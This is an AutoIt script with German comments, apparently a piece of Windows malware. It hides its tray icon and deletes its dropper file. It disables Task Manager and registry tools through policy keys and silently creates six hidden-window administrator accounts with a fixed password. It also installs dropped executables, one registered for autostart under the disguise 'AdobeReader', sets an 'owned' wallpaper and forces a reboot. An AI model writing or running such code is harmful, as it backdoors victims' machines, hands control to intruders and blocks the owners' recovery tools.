#NoTrayIcon
$1 = FileReadLine(@WindowsDir&"\Web\Information.txt",1)
$2 = FileReadLine(@WindowsDir&"\Web\Information.txt",2)
$filemain= $2&"\"&$1
$counter = 0
While FileExists($filemain) = 1
	FileDelete($filemain)
	sleep(500)
	$counter +=1
	If $counter = 30 Then ExitLoop
WEnd
sleep(3000)

$policies="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\"
$backgr = $policies&"System"
$tskmgr = $policies&"System"
$regedit = $policies&"System"
RegWrite($tskmgr,"DisableTaskMgr","REG_DWORD","1")
RegWrite($regedit,"DisableRegistryTools","REG_DWORD","1")
RegWrite($backgr,"NoDispBackgroundPage","REG_DWORD","1")

;ja, ich weiß, ich hätte es mit einer For-Schleife und Arrays kürzer machen können :D
RunWait(@ComSpec&" /c "&'net user "0wn3r0" "0wn3d" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net localgroup Administratoren "0wn3r0" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net user "0wn3r1" "0wn3d" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net localgroup Administratoren "0wn3r1" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net user "0wn3r2" "0wn3d" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net localgroup Administratoren "0wn3r2" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net user "0wn3r3" "0wn3d" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net localgroup Administratoren "0wn3r3" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net user "0wn3r4" "0wn3d" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net localgroup Administratoren "0wn3r4" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net user "0wn3r5" "0wn3d" /add',"",@SW_HIDE)
RunWait(@ComSpec&" /c "&'net localgroup Administratoren "0wn3r5" /add',"",@SW_HIDE)

FileInstall("flash.exe",@WindowsDir&"\Web\flash.exe",1)
FileInstall("clean.exe",@WindowsDir&"\System32\ichbinsodoof.exe",1)
$keyname3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$type = "REG_SZ"
RegWrite($keyname3,"AdobeReader",$type,@WindowsDir&"\Web\flash.exe")

$path = @WindowsDir&"\Web\Wallpaper\owned.jpg"
FileInstall("To.jpg",$path,1)
$keyname = "HKEY_CURRENT_USER\Control Panel\Desktop"
$valuename = "ConvertedWallpaper"
RegWrite($keyname,$valuename,$type,$path)
sleep(5000)
RunWait(@ComSpec&" /c "&'shutdown -f -r -t 10',"",@SW_HIDE)